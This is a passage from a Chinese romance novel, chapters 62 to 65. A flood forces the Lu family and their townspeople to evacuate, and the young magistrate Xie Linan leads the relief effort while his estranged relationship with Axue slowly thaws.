“郎君,是要喝水吗?” 松石过来倒水,有心劝他们郎君早点歇下,但知道说了也没用,自打卢娘子和他们郎君闹别扭后,他就没早睡过,非要筋疲力尽才肯去睡觉。 处理公务到这个时辰,谢临安揉着发胀的额角,总觉得心中不安,像是有什么大事要发生。 第62章 第62章 路上的积水渐渐变得浑浊急促,水位迅速上涨,从脚踝处渐渐淹没到了小腿处。 卢大富使劲的敲锣大喊,让附近的百姓们赶紧离家。 之前嗤之以鼻的人家什么都顾不上了,连忙穿好鞋就往外冲,卢大富叫焦红杏坐上车,阿雪说要去铺子找周碧玉。 “爹,你先带着娘走,我去找碧玉姐。” “用不了多久就会冲过来,阿雪,你先上来再说,爹推你们娘俩。” 阿雪咬咬牙,索性站在水里和卢大富一起推车,车上是他们最值钱的家当,自然要保护好了。 卢大富迅速道:“镇子口有一片高地,都是石头,想必也不会有泥水冲刷的风险,我们先去那躲一躲。” 父女俩推车走的快,可水流越来越急,阿雪隐隐站不稳,使劲抓着车,卢大富一把抓住女儿,直接将她甩在了车上,然后吃力的推车。 “爹,这样不成,快到铺子里,我去找碧玉姐,你们先走。” 远远看见铺子门口站着的周碧玉。 她是被大雨惊醒的,摸黑下床,却一脚踩进冰冷的水里。周碧玉下了一跳,点亮之后才发现门口水倒灌进来,越发见涨。 顾不上许多,周碧玉穿好衣服就从后院去了铺子前面,铺子里已经被水灌满,水面上漂浮着锅碗瓢盆,周碧玉费力的打开大门,发现街道上的水更深更急,有百姓逃命的吵闹声。 借着光亮,周碧玉也打算出去逃命,可水流不知怎么突然更急切,她刚迈出一步就差点被冲跑,水底下还有石头,打的她闷哼一声。 “救命!”周碧玉两只手抓着门框,身体在水流中漂浮不定。 “王翠翠,王翠翠是你吗?救救我。” 隐约看见一道粉色的影子,旁边还有个男人,周碧玉听见对方说话像是王翠翠的声音,便向其求助。那道影子果然停住了,但没一会又继续往前走,好像没听见她的呼喊。 幸好这时候水流不算大,周碧玉又一心求生,艰难的爬着回铺子,站在铺子里泪流满面,一时不知如何是好。 阿雪就是在这时来的。 “碧玉姐,你抓着这根棍子。” 阿雪递过来一根粗实的木棍,卢大富放心不下女儿,便也跟了过来。父女俩成功将周碧玉救出来,赶忙继续赶路。 这时候水已经没过膝盖了。 …… 与此同时的衙署内。 官差收到消息立刻禀报,谢临安猛的站起来,边往外走边吩咐:“王捕头带七人去发水的庄子解救被困的百姓,松石去库房里寻县志,将今年水灾的案卷找出来,五人同我一起前往东山县。” “郎君,其他地方发水,但东山县可是泥石流。”松石劝阻,“而且路上全是水,该怎么赶过去?郎君,不如……” “让你去就去。”谢临安已经快步来到马厩,继续吩咐衙署内的人各做准备。 城里也有积水,但显然这里地势高,只是淹没脚掌罢了,黑靴浸透,年轻的郎君跨步上马时甩出一串水花。 松石被训斥只能小跑着去找县志,赵友成和赵友玉赶了过来,说要同他一起。 “此行危险,你们还是在这里等。” 赵友成不干了。“你还知道危险?正是因为危险我们兄弟才要同你一起,放心,我二弟会功夫,多少能保护你。” 赵友玉配合的点头,还抽出一个长鞭。 等他们快走出衙署时,谢康安才姗姗来迟,紧随而至。出了城之后雨水渐小,但情况依旧不容乐观,水势见涨,谢临安心下一沉。 “所有人,尽快到达。”打头的谢临安挥鞭,坐骑跑的更快,后头人赶忙跟上。 谢康安其实不想去冒险,但赵家兄弟都去了,他若是不去传回侯府,恐怕会惹人不快,所以只能咬牙跟上。 寻常时候从城里到东山县也要一天的时间,雨势见小但地上积水多,再快也得要晌午时候才能到。 谢临安抿着唇,再次甩了一鞭子。 …… 乌云像是被一双手播散开一条缝隙,晨时的日光穿透云层洒了下来,照在水面上,浑浊翻涌的水里什么都有,甚至还有人的鞋。 “幸好有人敲锣提醒,我还睡呢,睁眼水都要没床了!” “是啊,我也睡的迷糊被叫醒,如果再出来晚,我都不敢想会发生什么?” 镇子里的人陆陆续续逃到了镇外的高地上,卢家人和周碧玉占了一小块空地,生了火取暖。 雨还在下,淅淅沥沥的小雨落在人身上,本就湿透的衣服紧紧贴着身体,若不是烤着火,怕是要冷的发颤。 卢大富的小推车上盖着油纸布,里面东西还是干爽的,焦红杏找了衣服,让阿雪和周碧玉换上。这里到处都是人,自然不方便,卢大富和焦红杏扯着布做挡,让两个小娘子安心换,然后如法炮制,四个人身上就都是干爽的衣服了。 捕猎多年的经验让卢大富动手能力极强,没一会就支起来个棚子避雨,容纳一辆小推车加他们四个人正好。 “柴湿,得烤一烤才能着的旺。”最中间的一小堆火是暗色里的救命稻草,不少百姓过来借火,也有人提出想来棚子底下避雨,但卢大富说借火可以,避雨不行。 “我们兄弟俩就占个边,别这么小气。” 卢大富瓮声瓮气:“地方不够,火拿着,你们走吧。” 那两人见卢大富体型高大,便也不敢说什么,小声嘀咕着走了。 阿雪其实有点不明白老爹为何这样做,周碧玉见的人多经历的事情多,小声和阿雪咬耳朵解释道:“咱们棚子里三个女眷,如果留外人不方便的。” 也不知道是周碧玉自己命不好还是遇见的人太坏,总是有不怀好心占便宜的。在周碧玉看来卢大富做的对,先断了这种可能,免得吓坏了阿雪,再有,他们的棚子确实小容纳不了更多人了。 卢大富如小山似的,自然没人敢说闲话,而且没过一会雨就停了开始放晴,大家着急点火烤衣服,纷纷过来借火,更没人说话了。 有准备之人还能换衣服,那些匆忙逃跑的只能如落汤鸡一般抱着膀子所在原地靠近火堆,唉声叹气。 还有人哭喊着说家人不见了,吵闹声此起彼伏,阿雪也跟着忧心忡忡。 卢大富起身。“应当是有人没及时逃出来,或者被水冲走了,我过去看看。” 焦红杏一把拉着他,却不是阻止,只是温声嘱咐了好几句,面带忧色的看他走向一户人家。 卢大富也不傻,知道这时候不能下水,只帮忙在岸边寻找。“顺着水流找,没准冲在哪了。” 其他家人不见的也如法炮制,边寻边喊人。 焦红杏拿着小锅,丢了一块姜进去,又抓了一块糖扔里,打开水囊倒了半锅水,等咕嘟嘟开了后,她们三个女子一人喝了一碗。 “那个……能不能给我一口水喝?” 是个柔弱的女人声音,三个人转过头,就见来着穿着一身粉嫩的衣裙,头发被雨打湿散落在肩上,样貌不错看起来楚楚动人。 周碧玉皱眉道:“我果然没看错,就是你王翠翠,我喊你救命你为何不应声?” 王翠翠明显有点心虚,但片刻后又理直气壮道:“我没看见你啊,再说了,你现在不也没事吗。” 原本俩人一同从那等地方出俩,合该感情深厚的,但最后的一点温情消散在周碧玉的眼睛里。 焦红杏为难了,他们出来就带了一个水囊,如今用了一些,剩下的还要给卢大富喝。现在溪水浑浊弄不到水,如果把水给出去,他们自己就没得喝了。 “给你,红糖水,只有这些,喝完了赶紧走。”说话的是周碧玉,手里只自己的半碗红糖水。 “水喝完,咱们两不相干,以后就当是陌生人。” 如果是普通人恐怕早就脸热离开了,但王翠翠好意思,直接一口将热乎的红糖水喝了,甚至还想要再讨一碗,被周碧玉赶走了。 “伯母,还是趁着没人注意将锅收起来吧。” 焦红杏也后悔,便留下一碗姜汤,把家伙事都收好。但依然有人看见了,凑上来想讨水喝。 一个两个的也就罢了,还能分上一分,那些毫无准备突然离家的人不再少数,很快就将他们的小棚子围起来。 “太自私了,就喝你一口水怎么了?”“是啊是啊,我嗓子渴的都冒烟了,再不喝水就要死,你们担当的起这个责任吗?” “我跟你们说,这有水,我看见他们推了小推车,保管里面装满了粮食和水。” “都有人看见了就别藏了,水又不是什么珍贵玩意儿,喝一口怎么了。” 大家都七嘴八舌的讨论,话里话外都是焦红杏自私自利。焦红杏本就是柔弱的性子,被这么多人训斥,已经红了眼睛。 阿雪当然站出来保护她娘,还有周碧玉,两个小娘子挡在前面,开始反击。 说到气头上阿雪喊:“是,水不珍贵,低头往下瞧瞧,都是水,你们去喝吧!” 第63章 第63章 千人千面。 一个人一个性子。 卢家四口人性子分明,焦红杏柔弱性子软,不争不抢总被欺负,只会默默的哭;卢大富猎户出身,性格莽撞遇事正面冲击,心里舒坦了但容易吃亏;一双儿女就不用说了,全和父亲一样,卢石头简直是一个模子里刻出来的,也就阿雪还聪明一些。 不过此刻,阿雪当真是半点理智都没有。 “当时我爹敲锣提醒你们,你们当中还有人嘲笑他,后来水位见涨,我爹一直敲,才将熟睡中的人敲醒捡来一条命。这些我便不说了,就说现在,我爹他冒着危险去帮忙找人,你们就趁他不在来欺负我们娘俩?” 阿雪气的脸红,平日里最爱笑的小娘子半点笑意都没有,一双杏眸瞪圆,大声质问围着他们的所有人。 喧闹声一时消失安静下来,在场之人不少是因为卢大富的锣声才醒来,心虚之下不吭声。还有一些虽然是自己跑出来,但方才看见卢大富走过去救人了,要他们自己做到这样不可能,因此也缄默。 “我们是有水,但远远不够所有人喝,这样,孩子老人病弱的先喝一口。” 说话的是焦红杏,她瞧见人群里有个抱孩子的母亲,娘俩俱是口干舌燥的模样,她也是当母亲的,于心不忍,便说了这番话。 “真的?多谢你了,我孩子还病着,方才一摸正在高热。”那妇人一说话就开始带了哭腔。 如此一来,其他人也不好说什么了。 带着孩子的人不再少数,只能先让孩子喝,焦红杏留了一碗水给卢大富,剩下的就都分出去了。 阿雪和周碧玉也没闲着,在想办法弄水。 溪水肯定是不能喝了,暴涨之后浑浊不堪,喝下去要出事的。阿雪脑袋转了一圈环顾四周。这里树木丰茂,树叶和野草上都有积水。 “要不,我们去收集树叶上的水?再往里走走,说不定有果子可以解渴。” 大家都处于一种极度的恐慌里,还真没注意这些。冷静下来之后,不少人就开始寻饮水和吃的,让家里的女人留在原地晒衣服,男人们纷纷往林子里钻,还真找到不少野果,才六月,果子不够大,但也汁水十足,既能解渴又能顶饱。 阿雪和周碧玉身量不够,底下的叫人家摘完了,上面的她们还够不到,正当阿雪踮脚的时候,突然深处一只手帮忙摘了几个。 “多谢。”阿雪转过头,是熟人。 “谢谢严夫子。” 自从严为之订婚之后,他就没来过阿雪的铺子。阿雪一时忙,也没注意到这件事,待石头离家出走时,阿雪去学堂寻找,和严为之交换消息,她才注意到很久没见他了。 严为之好像比之前消瘦一些,也比之前更加沉默。看着阿雪的眼神里包含复杂的情绪,可惜,阿雪看不懂。 “你有吗我们分一分吧。” 阿雪不是自私之人,对方帮了她,她愿意分果子的。 “不用,我摘了不少,你们人多,拿回去吃吧。”严为之顿了顿,有点舍不得离开,便又找了话题,问卢石头可否有音讯。 “他还真去闯荡江湖了,现在估摸着正往京城去,等到了地方应该会传消息回来。” 这些都是谢临安告诉她的,如同一束光,驱散卢家人头顶上的阴霾。 严为之嗯了一声不知道说什么了,便也只能离开。 阿雪性子淳朴单纯看不出严为之的心思,旁观者周碧玉却是看的清清楚楚,显然那个严夫子喜欢阿雪,只是可惜了,他有婚约了。 一个多时辰后,卢大富才回来,找回来两个人,还有四个人不见踪影。 仰头喝了一碗水,又啃了几个果子,卢大富叹着气道:“若是长时间找不到,恐怕凶多吉少。现在雨停了,但水势太高,恐怕没十天半个月下不去,我们大概要在这生活一阵子了。” 阿雪插话:“爹,不如我们去别的地方吧,往地势高的地方走一走,等水渗下去我们再回来。” 焦红杏也觉得在这不是个办法。“这里没有水和吃的,连个遮风挡雨的地方也没有。” 卢大富说道:“我可以进山打猎。” 听他这样说,焦红杏脸色不大好。 她没将之前的事情告诉卢大富,怕他脾气收不住再伤到人,只婉转说道:“这么多人看着,你打猎回来怎么分,若是收钱,往后邻里邻居的也没法相处了。” 别说,卢大富还真这么打算的,想着进山打猎回来就卖给这些人,还能赚一笔。 “你说的对,”卢大富一直觉得焦红杏聪明,他们家里也多是她做主,他就负责打猎挣钱。 “红杏,你说我们去哪合适?” 焦红杏其实也没什么主意,她道:“要不我们就先走,走到哪算哪,反正有水的地方就好,随便一个小村子也成,我们总不至于饿死。” 在这等着也没有意义,不如寻个好出路。 事情就这样定下,阿雪去找莲花,想着两家一起走相互有个照应。莲花家在本地有亲戚,正和亲戚们聚拢在一起,阿雪来的时候,看见莲花裹着个头巾,只露出一双眼睛。 说明情况后,莲花爹不同意。“来回太麻烦了,何况这里也不错,就先将就住,说不定十天就能下去,我们就回家收拾。” 阿雪不赞同:“可也保不齐还会下雨啊。” 莲花家的亲戚不少,围坐在火堆旁,咂咂嘴道:“你这孩子可别瞎说话,这不都放晴了吗?” “是啊,而且官府知道消息,肯定也会帮我们吧。” “指望官府?那不如指望自己的脚指头,”有个头发花白的老者哼了哼,“官府从来都是草菅人命,让他们来救我们,绝对不可能!而且听说换了个年轻人上任,既没经验又没能力,更不可能来救人。” 刚开始听他抱怨,阿雪还不吭声,这么会立刻出口道:“新任县令爷是个好官,他肯定会救我们的。” “小丫头,你还小不懂里面的弯弯绕绕,当官的只要政绩,他只会救城里的百姓,因为人家有钱,像我们这等穷苦的百姓只能听天由命喽!” 阿雪又替谢临安说话。 那老者三番两次被插话,已经开始不满了,语气也越发的躁:“我说你这个小丫头,你帮着官府说话能有什么好处?我说你……” 还要说什么的时候,有人喊道:“水位降了!” 雨停云散,整个镇子都淹没在泥水里,放眼望去,只能瞧见一片屋顶。水流湍急,任谁也不敢贸然下去。有人注意到原本高高的水位降了一寸多,当即欣喜告知众人。 阿雪看着流势变缓的浑浊水,心道,他是好官,他一定不会对百姓们弃之不顾。 …… “水位降了吗?” “回大人,降了,前路可行。” 谢临安他们越前行水位越高,后来直接被拦住去路。 大家不知如何是好得时候,谢临安拿过县志,仔细翻阅后找到一条解决之策。那就是挖沟引流,同时也能减缓受灾地区的灾情。 这些人立刻动手,还召集附近的村民们,所有人同心协力,在当日下午挖出一条沟渠,将水引入开,前路的水位降了下来,谢临安立刻翻身上马。 眼见着水位低了一些,那些犹豫的人更不想走了,卢大富他们却是收拾好准备趁着天气好出发,哪怕寻最近的村子落脚,也比在这里干熬着强。 偶有几户人家要和卢家一起上路,想着卢大富身强体壮,跟着他能安全不少。莲花家则是都不走,说什么和亲戚在一起有个照应。 莲花却突然站了起来,说是要和阿雪一起离开,任由她爹娘怎么说都不回头。 山路不好走,阿雪搀扶着焦红杏,后头周碧玉和莲花并肩而行。走了没一会,后头有人追上来,竟然是王翠翠。 “碧玉,你要去哪里,带我一个。” 周碧玉:“我已经和你说清楚了吧。” 王翠翠嘻嘻笑:“我们这么多年情谊,你就带我一段路。” 周碧玉直接拒绝:“不行。” 那边焦红杏不了解原委,瞧见王翠翠孤身一人怪可怜的,张嘴想要答应来着,但想到了什么,到底没吭声。 王翠翠就跟在众人身后,周碧玉嘀咕:“她之前不是跟着一个人走吗,现在跟我算怎么回事。” 她倒是没说王翠翠见死不救的事情。 前面推车的卢大富回头:“是不是一个四十岁的男人,姓贾?” “这倒是不知,但我看见那人穿着赤褐色的衣服。” “那就是了,我帮忙找人,就有一户人家的男人不见了,说是昨晚没回来,到现在也不见踪影。” 周碧玉停下脚步,转身小跑着奔向王翠翠:“你那个男人呢?” 王翠翠心虚的垂头:“他,他回家了。” “骗人,他是被水冲跑了吧?” 王翠翠起初不说话,周碧玉也不追问了,又跑了回去,小声对阿雪和莲花道:“你们多小心点。” 不是周碧玉嚼舌根,是王翠翠这人自私自利,为了自己什么事情都能干出来。那时候她夜里让男人留宿,竟然默认男人进周碧玉的房间,若不是周碧玉早有防备,恐怕已经遭了毒手。 事后王翠翠还能笑嘻嘻:“他说了我们姐妹俩一起就多给银子。” 周碧玉甩了她一巴掌,直接搬去了阿雪的铺子。 总之,她绝不会再搭理王翠翠。 赶路途中经过一些小村庄,虽不至于淹没房子,但所有的庄稼都浸在水里,老百姓哭天喊地,今年的收成算是完了。 都是底层老百姓,最是知道其苦,赶路的气氛便有些沉重。 阿雪低垂着脑袋,不由得担心起自己的铺子。 就算水褪去,铺子恐怕也被泡的不成样子,到时候修缮又要一笔钱。还有家里,就靠近山脚下,恐怕经不起折腾,他们回去之后怕是要面对一堆废墟。 阿雪除了在意家里人,剩下最在意的便是挣钱了,只想攒着手里的银钱,不想花出去。 赶路辛苦,他们便在小村庄落脚,水位磨过膝盖,倒也能找到干爽地方。 拿了铜板与村民换了吃食,几个人坐下慢慢吃恢复体力。就在这时听见一阵马蹄声,阿雪心念微动抬起眼,随后漂亮的眼眸里绽放出光彩。 为首之人身骑白马衣袖飘逸,在看见他们之后直接转了路线直奔他们而来。 阿雪激动的站了起来。 她就说他不会弃百姓于不顾,看,他果然来了! 第64章 第64章 看见谢临安的那一刻,阿雪内心涌起欣喜之情,但又很快熄灭。 谢临安就像是不认识她一样,根本没多看她,只是过来询问灾情的情况。“你们现在原地等,待其他百姓们过来了再一同出发。” 普通百姓对当官的又敬又怕,对谢临安也是一样。卢大富和焦红杏连连点头,等官府的人走了之后还感叹道:“县令爷一表人才啊。” “还是个好人。” 阿雪低垂着眼眸不说话。 下午时候,镇子上其他百姓陆陆续续赶了过来,还有顽固之人不愿意离开,说什么也要看着水位下去,谢临安让人劝无果,之后他便找了经历过水灾的老者,让他现身说法。 “瞧着水位会慢慢下,但不是一天两天的事情,甚至十天半个月都不一定会渗下去,这还是得天晴日头大的情况,如果下雨啊,更没法估计。” “你在这死守着有什么用?”那老者劝留下的人道,“跟着官府走吧,多少还能被照顾。” 当天黄昏时分,所有人都离开了镇子,前面由谢临安带路,慢吞吞的朝着前路进发。 等到了早就安排好的地方时,阿雪的裤子和鞋都湿透了,其他所有人也都是如此。 天色已晚,夏季的夜晚无风,篝火偶尔被吹一下,发出噼里啪啦的响动。 这里是一处人少的村子,谢临安之前便派人安排好,借用了一处大院子。当然,镇子里百十来号人自然是安排不下的,便让人从衙署拿了帐子,现在天气热,就算露宿在野外也没问题。 房子给那些带孩子的妇人住,若有身体不好的老者也可住一间,村子里积水不多,又都引了出去,只是地面泥泞罢了。村子口有老井,大可以打水喝,至于吃食,也可以和村民那里买,附近野菜也不少,怎么都不会饿肚子。 不止如此,官府还弄了个粥棚,从附近采买两大袋子米,熬了浓稠的粥给大家喝。 原本背井离乡的百姓们处于惶恐和迷茫之中,端着热乎乎的一碗粥,望着上面熬的微黄的米油,突然觉得这道坎也不是过不去。 阿雪缓慢的喝粥,大抵是从昨晚开始到现在也没怎么吃东西,喝白粥都觉得无比的美味。 她眼睛悄悄往东南方向移,看见远离人群的帐子旁,谢临安和赵友成他们也在喝粥。 之前那些不相信官府会救人的百姓如今说不出反驳的话。人家高高在上的县令爷和他们同吃同住,还有什么可抱怨的? 赵友成喝完一碗粥,啧啧两声。“没想到侯府世子也这般能吃苦。” 若不是跑了一天太累了,赵友成是决计不会只喝粥的。他哪里受过这种待遇?就算在府里被关禁闭,也得四个菜送进来,谢临安就更不用说了,小时候就进宫当太子伴读,同太子一起吃住,享受全天下最好的东西。 他竟然能只喝一碗粥,而且慢条斯理的细细品味? 认识谢临安这么久,赵友成发现自己好像并未真正了解这个朋友。 “不够还有,”谢临安声音淡淡的,“你也可以自己过去盛。” 赵友成无语。 赵友玉吃的挺香,他被扔进了军营里自是能吃苦耐劳的。旁边的谢康安就有些面色不好了,因为现在处境勾起他不大美好的回忆,而且方才卢大富似乎认出了他,想要上前搭话来着,谢康安不着痕迹的转过身,假装没瞧见,卢大富便也没过来了。 “红杏,你看看那个,是不是谢家那小男娃?”远处的卢大富小声道。 焦红杏看过去,惊讶道:“好像是,长的和小时候差不多,但他不是在京城吗?怎么出现在这里?阿雪,你快看看是不是他。” 早就看见谢康安了,阿雪却没说是,只道:“应该就是长的像而已。” 她厌烦谢康安。 焦红杏:“也是,人家都被认回侯府了,不会回来的。” …… 日出之后,百姓们陆陆续续的醒来,昨天的米还剩下半袋子,有个官差在烧火熬粥,附近村民好心的送来自家的腌菜,也有手头富裕的向村民买鸡蛋吃。 卢大富就买了几颗,他自己没吃,给其他的几个女眷。 阿雪扒开鸡蛋刚要咬,就听见一阵明显的吸溜口水声。转过头,就见不知谁家的小娃娃站在她身后,一根手指含在嘴里也挡不住口水落下来。 “你娘呢?” 小娃娃不说话,阿雪起身,将那颗鸡蛋掰开两半,自己吃了一半,喂给小娃娃吃一半,怕孩子噎着,还喂了半碗粥水。 遍地泥泞,为了方便阿雪换了干活用的褐色衣裙,粗布衣裳未着粉黛,可她蹲在小孩面前言笑晏晏,依旧漂亮耀眼晃人的眼。 没一会小孩的爹娘才找过来,那小孩拉着阿雪的手念念不舍的模样,逗笑了阿雪。“出门一定要和爹娘一起呀。” 送走小孩,阿雪朝着东南方向看过去,正好和谢临安对上视线。 他从什么时候开始看她的?阿雪忍不住胡思乱想,他还在生气吗?或许,她可以借此机会向他道歉。 还不等阿雪琢磨好,那边的谢临安已经偏过头吩咐属下做事了。 这次暴雨导致不少地方受灾,东山县最为严重且有多人失踪。谢临安安排所有人手找了一夜,只找到一个昏迷不醒的,还有三人毫无踪迹。 “再找,注意水边的草丛还有石头缝里,顺着水流走,活要见人死要见尸。” “是,大人。” 天灾人祸,无可避免。失踪人口的家人来找谢临安哭诉,他温声安抚,说会竭尽所能。 下午时候天又阴了,然后便下起了雨,连着下了两天小雨后,谢临安召集百姓,说水位下去恐怕要一个月,这里地势也不够高,渐渐有了积水,甚至没办法放帐子,最好的办法便是赶路去城里,那里地势高没有积水,生活也便利。 好多人浑浑噩噩不知道如何是好,一小部分人同意进城,绝大部分则是抗拒去陌生的地方,甚至有些人一辈子都没走出过镇子二十里开外,陌生会让人产生恐惧,未知前路叫人惴惴不安。 人群中央站着谢临安。 奔波劳累多日,他身上的衣袍带了褶皱,衣摆处还有干涸成灰色的泥点子,像是一颗颗的芝麻撒了上去。年轻的郎君面上带了憔悴之色,但显然并不影响他出众的容貌,周身带着天生上位者的气势,站在那里便叫人信服,周遭鸦雀无声。 “继续下雨这里也会被淹,不如趁着天气晴朗赶路去城里,待水位下降,再回来重建家园。” 有人嘀咕:“说的轻巧,进城之后我们要怎么活?” 城里的东西是种类繁多,但相应的价格比镇子更高。就算有准备之人,也舍不得在城里花费那么多钱,还得留着钱修葺房屋和活命。 “住处不用担心,官府照旧会安排好,同时也会设立粥棚,一天三次施粥救济。” 谢临安给了承诺,百姓们觉得在此处干熬着确实不如进城,阿雪他们更是早早打算进城过活,甚至已经收拾好东西了。 周碧玉脸色不大好。 她就是从城里逃出来的,怕回去遇见脸熟之人,到时候身份容易暴露。可现在能怎么办?天意如此。 阿雪还以为她担心进城之后讨生活的事,便道:“城里有招短工的,放心,有我在,保管不会饿着你。” 周碧玉展颜,微笑着说好。 莲花他们家里不想走,莲花也不想去。她怕自己进城之后就回忆起那段糟心的往事,更觉得自己在城里没钱活不下去。 阿雪亲昵的搂着她胳膊,从她手里拿出来一条帕子。莲花心情不好时候就会找点事情做,这是她这两天绣的映荷图案。 “就凭你这条帕子,就够立足了。” 阿雪说了不少好话,周碧玉也过来称赞,她懂的多,还知道哪家绣坊收购价高,说可以陪莲花去。 与沉闷总是指责她的家人亲戚相比,莲花当然是更喜欢和阿雪呆着,便说一路同行去城里。 幸好没再下雨,赶了三天的路,总算到了地方。 没再看见谢临安,阿雪琢磨着他身为县令爷,管辖之内发生如此骇人的水灾,恐怕有不少事情要忙碌,原本想要道歉的,可好像没什么机会。 应当有的吧,他总得回城,到时候她诚心诚意的去赔礼道歉好了。 可没想到十天过去,竟然没看见谢临安的影子。 阿雪和周碧玉找了打杂的短工,给的不多,但是供吃供住,卢大富也找了一个苦力活,他们夫妻俩就宿在官府安排的住处。 阿雪比之前更加忙碌,因为做活的地方是一处糕点铺子,要帮忙和面,帮忙切果干,一天下来两条胳膊累的僵硬,腿也不像是自己的了。 好处是,铺子里没卖完的糕点可以分上两块,天色黑了之后,她和周碧玉往铺子外走,腿累的不会打弯,走起路来颇为怪异。 “碧玉姐,还是在我的小铺子里舒服,这太累了。” 周碧玉也累但她不说,只笑笑道:“再坚持一阵,听人家说水位降了一半了,再有二十天,怎么也能回去。” 阿雪咬了一口红枣糕,把剩下的糕点包好,道:“我去看看我娘,顺道把糕点拿过去给她尝尝。” 灾民们被安置在城门口附近,那里有空闲的房子,地方小人多,但胜在能遮风避雨。 城里就是和小地方不一样,都天黑了街道上依旧灯火通明,阿雪踩着银白月光往前走,腿越发的疲惫。也是巧了,看见小巷子里走过来一队人,为首之人正是谢临安。 “郎……”俩人不再有关系,阿雪便将郎君二字咽了回去,喊了声大人,然后小跑着奔他而来。 腿更加酸涩,在距离谢临安只有两步远的时候,阿雪觉得腿像是抽筋似的不受控制。 然后她噗通一声跪在了地上。 鸦雀无声。 “小娘子为何行此大礼?” 谢临安笑的玩味。 第65章 第65章 水灾不严重的村落只需要排水,唯独东山县举家搬迁来到城里,这么多人自然得好好安置,吃住俱是妥当。 不过探望灾民回来后,谢临安就靠在椅背上沉思,一只手下意识的摩挲杯盏。 “松石,城里缺短工的地方可统计好了?” 从回城之后谢临安就一直在忙,将这件事交给松石去做。 松石道:“差不多了,能有约莫五十个名额。” 谢临安颔首,淡声道:“安排好。” 刚刚目睹过卢娘子给他们郎君“下跪”的画面,那是灾情之后他们郎君第一次露出真心实意的笑容。 虽然不知道郎君和卢娘子到底怎么了,但松石觉得,他们郎君还是在意卢娘子的,否则不会在知道卢娘子是累的腿麻后,立刻问询他关于活计空缺的事情。 “郎君放心,一定会给卢娘子安排一个轻松不累的活!” 谢临安淡淡的瞥了过来。 “我有这么说吗?” 松石摸不清主子的心思了。 就在这时,从门口路过的赵友成进来,道:“松石你出去安排吧,就把最好最轻松的活儿安排给卢娘子,放心,你们郎君心里这么想的,他就是嘴硬。” 松石当然得听主子的话,等了一会见谢临安不做声,他明了赵友成说的是真的,于是立刻办事去了。 “我说你,喜欢就是喜欢,不喜欢便不喜欢,哪有这般纠结?” 赵友成神态自若的坐下,有点看不懂谢临安了。“男女之间闹别扭不可避免,但你们怎么好像闹的要分开似的?” 这些日子谢临安公事繁忙,可谓是披星戴月,人也消瘦了两圈。照理说,就算再忙也要见见喜欢的人,但俩人一面都没见到。 这很不对劲。 赵友成索性直接问,免得猜来猜去的麻烦。 “嗯。”谢临安垂眸,溢出一声响。 “真的?”赵友成瞪大眼睛,“可我看那位卢娘子很钟意你啊?” 谢临安扯了扯唇角。 “她不是喜欢我。” 赵友成没明白这句话的意思,谢临安却是一副不想再谈的模样,低头写字去了。 …… 城里的日子不好过,虽说有官府的接济,但谁也不能一天三顿饭只喝粥。可吃别的东西都是要钱的,于是焦红杏也开始琢磨挣钱。 正好官府给了空缺,她身体不好,做不了什么体力活,只在酒楼里帮忙摘菜,东家说干的太少不能给钱,只能留她吃一顿午饭。 那也是好的,换算下来也算挣钱了。 至于卢大富更不用说了,他一身力气,到哪里都能找到活计。一家三口几乎用不着动本钱,焦红杏欣慰至极。 但也有人不满官府,这天正好焦红杏回来,便没忍住说了好话。“县令大人好心给我们安排住处还给口吃的,又帮忙找了活计,心善的大人。” 那人絮叨好半响了,话里话外都是对官府的不满,觉得只施粥没有饭菜,不诚心救济百姓。 焦红杏又替县令说了几句话,那人不阴不阳道:“呦,你这么维护人家,人家还能感谢你不成?怎么着,想送女儿去攀高枝?也不照镜子看看你自己。” 这话说的难听,焦红杏和对方争辩,其他人都说那个妇人嘴巴厉害,让焦红杏赶紧走。再辩论下去也没有意义,焦红杏就离开了。 晚上还和阿雪说谢大人是好人,问阿雪的活干的怎么样。当时松石来说给阿雪安排个活,她拒绝了,现在糕点铺子做的好,她还存了心学习,便继续做下去,累归累,学到的东西也不少。 这件事谢临安也知道。 松石禀告道:“卢娘子还坚持在现在的地方做活,不肯去茶楼。” 茶楼的活儿轻松,只需要在厨房冲水泡茶就好,还能听说书人讲故事,做的活儿文雅不累挣钱多。 谢临安不置可否。 翌日去办差事路过糕点铺子,马车里的谢临安撩开帘子一角,瞧见铺子生意红火不少人在购买,里面圆眸的小娘子眉眼弯弯,正在给客人介绍各种糕点然后帮忙过称。 阿雪样貌生的好声音也悦耳,自打来了前面帮忙卖货之后,生意都好了不少。 “郎君想吃糕点?”松石问道。 车厢里的赵友成笑着摇头:“松石啊,你真该成亲。” 未免太不通男女之情了。 帘子撂下,隔绝外面的视线,阿雪透过人群缝隙瞧见从门口路过的马车,片刻后就转过身,笑着对迈步进来的人道:“客人需要买点什么?刚出锅的红枣糕可要来一块?” …… 当天晚上下工时,阿雪碰见了松石。只见松石一脸幽怨的看她。“卢娘子,为何不接受茶楼的活?比这里轻巧还挣的多。” 累了一天的阿雪只想快点回去休息。“昨天不是同你说了吗?就是想留在这学学手艺,我不怕吃苦的。” 松石嘴角抽了抽,忍不住为什么郎君抱不平。“卢娘子可知道这份轻松不累挣钱多的活是郎君特别关照的?” 身体的劳累导致阿雪脑子都转不过来,她迷茫反问:“关照谁?我吗?” 松石一脸恨铁不成钢的表情走了。 回去路上,周碧玉试探性的和阿雪道:“我觉得谢大人对你还是不一样的。” “怎么可能?”阿雪想也不想,“他不找我麻烦就谢天谢地了。” 幸而他是个大度的郎君,否则她的日子要不好过的。唉,再次后悔弄错了人报错了仇。 现在想想自己想的太简单了,而且对“退婚”一事的仇恨也没自己想的那么重,因为她面对谢康安时心情毫无波澜。也不算毫无波澜吧,有点厌烦他。 周碧玉道:“你呀,听没听过当局者迷旁观者清?现在身处局中,所以才想不通的,没关系,你再仔细琢磨琢磨,谢大人高高在上的县令爷,他为何要特意嘱咐给你轻松的好活?” “对啊,为什么?” 为什么?难道他当真对她……不可能吧。 阿雪不相信自己在骗了谢临安之后,他还心中有她。 可脑子里这样想,身体先一步有反应,心口泛起甜蜜之意,甚至都不觉得疲惫,回到家时喜笑颜开,卢大富还以为她有什么大好事。 “能学到东西,爹,你说算不算好事。”阿雪笑眯眯,卢大富则是哈哈大笑,父女俩对着笑起来,焦红杏眼睛里沁了温柔之色,提醒他们赶紧吃东西。 日子就这样一天天过,转眼就过去了二十天,期间也下了几场雨,官府的人告知,说再有十天左右水就会完全沉下去。 已经有人开始返乡了,卢家人商量了一下,打算再过几天返程。 